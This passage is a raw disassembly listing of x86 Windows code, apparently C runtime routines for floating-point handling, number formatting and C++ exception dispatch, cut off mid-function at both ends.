loc_42174C sub eax, ecx loc_42172F: ; CODE XREF: sub_42157F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42173A test esi, esi jnz short loc_42173A mov esi, ebx loc_42173A: ; CODE XREF: sub_42157F+1B3j ; sub_42157F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421746 or byte ptr [ebp+var_C+3], 80h loc_421746: ; CODE XREF: sub_42157F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42172F loc_42174C: ; CODE XREF: sub_42157F+1ACj test edx, edx jz short loc_421758 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421758: ; CODE XREF: sub_42157F+183j ; sub_42157F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421764 ; --------------------------------------------------------------------------- loc_421762: ; CODE XREF: sub_42157F+14Ej mov esi, ebx loc_421764: ; CODE XREF: sub_42157F+1E1j test esi, esi pop esi jz short loc_421771 push 10h call sub_421A2C pop ecx loc_421771: ; CODE XREF: sub_42157F+1E8j and edi, 0FFFFFFFDh loc_421774: ; CODE XREF: sub_42157F+26j ; sub_42157F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42178B test byte ptr [ebp+arg_8], 20h jz short loc_42178B push 20h call sub_421A2C pop ecx and edi, 0FFFFFFEFh loc_42178B: ; CODE XREF: sub_42157F+1F9j ; sub_42157F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42157F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421796(int,int,int,int,int,int,double,int) sub_421796 proc near ; CODE XREF: sub_4211E1+2Bp ; sub_421234+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421844 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421801 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_421A09 lea eax, [ebp+var_20] push eax call sub_42426D add esp, 0Ch test eax, eax jnz short loc_4217FB push esi call sub_42181E pop ecx loc_4217FB: ; CODE XREF: sub_421796+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421801: ; CODE XREF: sub_421796+14j push 0FFFFh push [ebp+arg_20] call sub_421A09 push [ebp+arg_0] call sub_42181E fld [ebp+arg_18] add esp, 0Ch leave retn sub_421796 endp ; =============== S U B R O U T I N E ======================================= sub_42181E proc near ; CODE XREF: sub_421234+7Dp ; sub_421796+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421839 jle short locret_421843 cmp eax, 3 jg short locret_421843 mov ds:dword_4DDEB4, 22h retn ; --------------------------------------------------------------------------- loc_421839: ; CODE XREF: sub_42181E+7j mov ds:dword_4DDEB4, 21h locret_421843: ; CODE XREF: sub_42181E+9j ; sub_42181E+Ej retn sub_42181E endp ; =============== S U B R O U T I N E ======================================= sub_421844 proc near ; CODE XREF: sub_421796+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43F418 loc_42184B: ; CODE XREF: sub_421844+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421861 add eax, 8 inc ecx cmp eax, offset dbl_43F4F0 jl short loc_42184B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421861: ; CODE XREF: sub_421844+Dj mov eax, ds:off_43F41C[ecx*8] retn sub_421844 endp ; =============== S U B R O U T I N E ======================================= sub_421869 proc near ; CODE XREF: sub_421234+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421875 push 5 jmp short loc_42188B ; --------------------------------------------------------------------------- loc_421875: ; CODE XREF: sub_421869+6j test al, 8 jz short loc_42187D push 1 jmp short loc_42188B ; --------------------------------------------------------------------------- loc_42187D: ; CODE XREF: sub_421869+Ej test al, 4 jz short loc_421885 push 2 jmp short loc_42188B ; --------------------------------------------------------------------------- loc_421885: ; CODE XREF: sub_421869+16j test al, 1 jz short loc_42188D push 3 loc_42188B: ; CODE XREF: sub_421869+Aj ; sub_421869+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42188D: ; CODE XREF: sub_421869+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421869 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421896(double) sub_421896 proc near ; CODE XREF: sub_41C869:loc_41C8EFp ; sub_41C9AF:loc_41CA35p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421896 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4218A8(double,int) sub_4218A8 proc near ; CODE XREF: sub_42192B+82p ; sub_42192B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_4218A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4218D1 proc near ; CODE XREF: sub_41C869+31p ; sub_41C9AF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4218E8 cmp [ebp+arg_0], edx jnz short loc_4218FA push 1 jmp short loc_421924 ; --------------------------------------------------------------------------- loc_4218E8: ; CODE XREF: sub_4218D1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4218FA cmp [ebp+arg_0], edx jnz short loc_4218FA push 2 jmp short loc_421924 ; --------------------------------------------------------------------------- loc_4218FA: ; CODE XREF: sub_4218D1+11j ; sub_4218D1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_42190D push 3 jmp short loc_421924 ; --------------------------------------------------------------------------- loc_42190D: ; CODE XREF: sub_4218D1+36j cmp cx, 7FF0h jnz short loc_421927 test [ebp+arg_4], 7FFFFh jnz short loc_421922 cmp [ebp+arg_0], edx jz short loc_421927 loc_421922: ; CODE XREF: sub_4218D1+4Aj push 4 loc_421924: ; CODE XREF: sub_4218D1+15j ; sub_4218D1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421927: ; CODE XREF: sub_4218D1+41j ; sub_4218D1+4Fj xor eax, eax pop ebp retn sub_4218D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42192B(double,int) sub_42192B proc near ; CODE XREF: sub_42157F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp ds:dbl_428880 push esi fnstsw ax sahf jnz short loc_42194B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4219E1 ; --------------------------------------------------------------------------- loc_42194B: ; CODE XREF: sub_42192B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_4219BA test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421963 cmp dword ptr [ebp+arg_0], ecx jz short loc_4219BA loc_421963: ; CODE XREF: sub_42192B+31j fld [ebp+arg_0] fcomp ds:dbl_428880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42197B push 1 pop eax jmp short loc_42197D ; --------------------------------------------------------------------------- loc_42197B: ; CODE XREF: sub_42192B+49j xor eax, eax loc_42197D: ; CODE XREF: sub_42192B+4Ej ; sub_42192B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421996 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421990 or dword ptr [ebp+arg_0+4], 1 loc_421990: ; CODE XREF: sub_42192B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42197D ; --------------------------------------------------------------------------- loc_421996: ; CODE XREF: sub_42192B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_4219A4 or byte ptr [ebp+arg_0+7], 80h loc_4219A4: ; CODE XREF: sub_42192B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4218A8 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4219E1 ; --------------------------------------------------------------------------- loc_4219BA: ; CODE XREF: sub_42192B+28j ; sub_42192B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4218A8 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4219E1: ; CODE XREF: sub_42192B+1Bj ; sub_42192B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42192B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219EC proc near ; CODE XREF: sub_4212CC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4219EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219FA proc near ; CODE XREF: sub_4212CC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4219FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421A09 proc near ; CODE XREF: sub_41C869+13p ; sub_41C869+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_421A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421A2C proc near ; CODE XREF: sub_42157F+1Dp ; sub_42157F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421A43 fld ds:tbyte_43F518 fistp [ebp+arg_0] wait loc_421A43: ; CODE XREF: sub_421A2C+Bj test cl, 8 jz short loc_421A58 fstsw ax fld ds:tbyte_43F518 fstp [ebp+var_8] wait fstsw ax loc_421A58: ; CODE XREF: sub_421A2C+1Aj test cl, 10h jz short loc_421A67 fld ds:tbyte_43F524 fstp [ebp+var_8] wait loc_421A67: ; CODE XREF: sub_421A2C+2Fj test cl, 4 jz short loc_421A75 fldz fld1 fdivrp st(1), st fstp st wait loc_421A75: ; CODE XREF: sub_421A2C+3Ej test cl, 20h jz short locret_421A80 fldpi fstp [ebp+var_8] wait locret_421A80: ; CODE XREF: sub_421A2C+4Cj leave retn sub_421A2C endp ; =============== S U B R O U T I N E ======================================= sub_421A82 proc near ; CODE XREF: sub_41C938+Fp push 30000h push 10000h call sub_4242A5 pop ecx pop ecx retn sub_421A82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421A94 proc near ; CODE XREF: sub_421AD2:loc_421AF6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_428890 fstp [ebp+var_8] fld ds:dbl_428888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_428718 fnstsw ax sahf jbe short loc_421ACE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_421ACE: ; CODE XREF: sub_421A94+33j xor eax, eax leave retn sub_421A94 endp ; =============== S U B R O U T I N E ======================================= sub_421AD2 proc near ; CODE XREF: sub_41C938+5p push offset aKernel32 ; "KERNEL32" call near ptr 0C90004h xchg eax, ebp test eax, eax jz short loc_421AF6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:dword_4280BC test eax, eax jz short loc_421AF6 push 0 call eax ; sub_41C938 retn ; --------------------------------------------------------------------------- loc_421AF6: ; CODE XREF: sub_421AD2+Dj ; sub_421AD2+1Dj jmp sub_421A94 sub_421AD2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421AFB proc near ; CODE XREF: sub_41F8BF+3CBp ; DATA XREF: sub_41C950+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D96C cmp eax, 65h pop ecx jz short loc_421B3B loc_421B0F: ; CODE XREF: sub_421AFB+3Ej inc esi cmp ds:dword_43F194, 1 jle short loc_421B28 movsx eax, byte ptr [esi] push 4 push eax call sub_41F735 pop ecx pop ecx jmp short loc_421B37 ; --------------------------------------------------------------------------- loc_421B28: ; CODE XREF: sub_421AFB+1Cj movsx eax, byte ptr [esi] mov ecx, ds:off_43EF88 mov al, [ecx+eax*2] and eax, 4 loc_421B37: ; CODE XREF: sub_421AFB+2Bj test eax, eax jnz short loc_421B0F loc_421B3B: ; CODE XREF: sub_421AFB+12j mov cl, ds:byte_43F198 mov al, [esi] mov [esi], cl inc esi loc_421B46: ; CODE XREF: sub_421AFB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_421B46 pop esi retn sub_421AFB endp ; =============== S U B R O U T I N E ======================================= sub_421B55 proc near ; CODE XREF: sub_41F8BF+3E2p ; DATA XREF: sub_41C950+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, ds:byte_43F198 mov cl, [eax] test cl, cl jz short loc_421B71 loc_421B65: ; CODE XREF: sub_421B55+1Aj cmp cl, dl jz short loc_421B71 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421B65 loc_421B71: ; CODE XREF: sub_421B55+Ej ; sub_421B55+12j mov cl, [eax] inc eax test cl, cl jz short locret_421BA2 loc_421B78: ; CODE XREF: sub_421B55+34j mov cl, [eax] test cl, cl jz short loc_421B8B cmp cl, 65h jz short loc_421B8B cmp cl, 45h jz short loc_421B8B inc eax jmp short loc_421B78 ; --------------------------------------------------------------------------- loc_421B8B: ; CODE XREF: sub_421B55+27j ; sub_421B55+2Cj ... mov ecx, eax loc_421B8D: ; CODE XREF: sub_421B55+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_421B8D cmp [eax], dl jnz short loc_421B98 dec eax loc_421B98: ; CODE XREF: sub_421B55+40j ; sub_421B55+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421B98 locret_421BA2: ; CODE XREF: sub_421B55+21j retn sub_421B55 endp ; =============== S U B R O U T I N E ======================================= sub_421BA3 proc near ; DATA XREF: sub_41C950+28o ; seg002:off_43F540o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp ds:dbl_428880 fnstsw ax sahf jb short loc_421BB8 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421BB8: ; CODE XREF: sub_421BA3+Fj xor eax, eax retn sub_421BA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_420730+430p ; DATA XREF: sub_41C950+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_421BE4 lea eax, [ebp+var_8] push eax call sub_424768 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_421BE4: ; CODE XREF: sub_421BBB+Cj lea eax, [ebp+arg_8] push eax call sub_424795 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BF9 proc near ; CODE XREF: sub_421E76+17p ; sub_421EC0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:byte_4DDF50, 0 push ebx push esi jz short loc_421C2E mov ebx, [ebp+arg_8] mov eax, ds:dword_4DDF4C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421F11 pop ecx pop ecx jmp short loc_421C66 ; --------------------------------------------------------------------------- loc_421C2E: ; CODE XREF: sub_421BF9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424839 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4247C2 add esp, 14h loc_421C66: ; CODE XREF: sub_421BF9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421C72 mov byte ptr [eax], 2Dh inc eax loc_421C72: ; CODE XREF: sub_421BF9+73j test ebx, ebx jle short loc_421C8A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, ds:byte_43F198 mov eax, edi pop edi mov [eax], cl loc_421C8A: ; CODE XREF: sub_421BF9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp ds:byte_4DDF50, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C0A0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421CB1 mov byte ptr [ecx], 45h loc_421CB1: ; CODE XREF: sub_421BF9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421CF6 mov ebx, [esi+4] dec ebx jns short loc_421CC5 neg ebx mov byte ptr [ecx], 2Dh loc_421CC5: ; CODE XREF: sub_421BF9+C5j inc ecx cmp ebx, 64h jl short loc_421CDC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421CDC: ; CODE XREF: sub_421BF9+D0j inc ecx cmp ebx, 0Ah jl short loc_421CF3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421CF3: ; CODE XREF: sub_421BF9+E7j add [ecx+1], bl loc_421CF6: ; CODE XREF: sub_421BF9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_421BF9 endp ; =============== S U B R O U T I N E ======================================= sub_421CFD proc near ; CODE XREF: sub_421E9D+13p ; sub_421EC0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp ds:byte_4DDF50, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421D38 mov eax, ds:dword_4DDF54 mov ebx, [esp+10h+arg_8] mov esi, ds:dword_4DDF4C cmp eax, ebx jnz short loc_421D68 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421D68 ; --------------------------------------------------------------------------- loc_421D38: ; CODE XREF: sub_421CFD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424839 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4247C2 add esp, 14h loc_421D68: ; CODE XREF: sub_421CFD+22j ; sub_421CFD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421D76 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421D76: ; CODE XREF: sub_421CFD+70j mov eax, [esi+4] test eax, eax jg short loc_421D8D push 1 push edi call sub_421F11 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421D8F ; --------------------------------------------------------------------------- loc_421D8D: ; CODE XREF: sub_421CFD+7Ej add edi, eax loc_421D8F: ; CODE XREF: sub_421CFD+8Ej test ebx, ebx jle short loc_421DD4 push 1 push edi call sub_421F11 mov al, ds:byte_43F198 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421DD4 cmp ds:byte_4DDF50, 0 jz short loc_421DB9 neg esi jmp short loc_421DBF ; --------------------------------------------------------------------------- loc_421DB9: ; CODE XREF: sub_421CFD+B6j neg esi cmp ebx, esi jl short loc_421DC1 loc_421DBF: ; CODE XREF: sub_421CFD+BAj mov ebx, esi loc_421DC1: ; CODE XREF: sub_421CFD+C0j push ebx push edi call sub_421F11 push ebx push 30h push edi call sub_41B780 add esp, 14h loc_421DD4: ; CODE XREF: sub_421CFD+94j ; sub_421CFD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DDB proc near ; CODE XREF: sub_421EC0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424839 mov ds:dword_4DDF4C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov ds:dword_4DDF54, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4247C2 mov eax, ds:dword_4DDF4C add esp, 14h mov ecx, [eax+4] dec ecx cmp ds:dword_4DDF54, ecx setl cl mov ds:byte_4DDF58, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov ds:dword_4DDF54, eax jl short loc_421E61 cmp eax, ebx jge short loc_421E61 test cl, cl jz short loc_421E52 loc_421E48: ; CODE XREF: sub_421DDB+72j mov al, [esi] inc esi test al, al jnz short loc_421E48 and [esi-2], al loc_421E52: ; CODE XREF: sub_421DDB+6Bj push ebx push [ebp+arg_4] push edi call sub_421E9D add esp, 0Ch jmp short loc_421E71 ; --------------------------------------------------------------------------- loc_421E61: ; CODE XREF: sub_421DDB+63j ; sub_421DDB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421E76 add esp, 10h loc_421E71: ; CODE XREF: sub_421DDB+84j pop edi pop esi pop ebx pop ebp retn sub_421DDB endp ; =============== S U B R O U T I N E ======================================= sub_421E76 proc near ; CODE XREF: sub_421DDB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov ds:byte_4DDF50, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_421BF9 and ds:byte_4DDF50, 0 add esp, 10h retn sub_421E76 endp ; =============== S U B R O U T I N E ======================================= sub_421E9D proc near ; CODE XREF: sub_421DDB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov ds:byte_4DDF50, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421CFD and ds:byte_4DDF50, 0 add esp, 0Ch retn sub_421E9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EC0 proc near ; CODE XREF: sub_41F8BF+3AAp ; DATA XREF: sub_41C950o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421EFB cmp [ebp+arg_8], 45h jz short loc_421EFB cmp [ebp+arg_8], 66h jnz short loc_421EE8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421CFD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421EE8: ; CODE XREF: sub_421EC0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421DDB jmp short loc_421F0C ; --------------------------------------------------------------------------- loc_421EFB: ; CODE XREF: sub_421EC0+7j ; sub_421EC0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BF9 loc_421F0C: ; CODE XREF: sub_421EC0+39j add esp, 10h pop ebp retn sub_421EC0 endp ; =============== S U B R O U T I N E ======================================= sub_421F11 proc near ; CODE XREF: sub_421BF9+2Cp ; sub_421CFD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421F34 push esi mov esi, [esp+8+arg_0] push esi call sub_41B1D0 inc eax push eax push esi add esi, edi push esi call sub_41CE80 add esp, 10h pop esi loc_421F34: ; CODE XREF: sub_421F11+7j pop edi retn sub_421F11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F36 proc near ; CODE XREF: seg000:0041CB30p ; sub_41CB99+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421F4C call sub_4227D2 loc_421F4C: ; CODE XREF: sub_421F36+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421F74 cmp dword ptr [esi+4], 0 jz short loc_421FCA cmp [ebp+arg_14], 0 jnz short loc_421FCA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42227D add esp, 10h jmp short loc_421FCA ; --------------------------------------------------------------------------- loc_421F74: ; CODE XREF: sub_421F36+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421FCA cmp dword ptr [eax], 0E06D7363h jnz short loc_421FAE cmp [eax+14h], edi jbe short loc_421FAE mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421FAE movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421FCD ; --------------------------------------------------------------------------- loc_421FAE: ; CODE XREF: sub_421F36+4Aj ; sub_421F36+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421FD1 add esp, 20h loc_421FCA: ; CODE XREF: sub_421F36+23j ; sub_421F36+29j ... push 1 pop eax loc_421FCD: ; CODE XREF: sub_421F36+76j pop edi pop esi pop ebp retn sub_421F36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421FD1 proc near ; CODE XREF: sub_421F36+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421FF1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421FF6 loc_421FF1: ; CODE XREF: sub_421FD1+16j call sub_4227D2 loc_421FF6: ; CODE XREF: sub_421FD1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_42214D cmp dword ptr [esi+10h], 3 jnz short loc_42206A cmp [esi+14h], edi jnz short loc_42206A cmp dword ptr [esi+1Ch], 0 jnz short loc_42206A mov esi, ds:dword_4DDF5C test esi, esi jz loc_422148 mov eax, ds:dword_4DDF60 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4249C0 pop ecx test eax, eax pop ecx jnz short loc_42204C call sub_4227D2 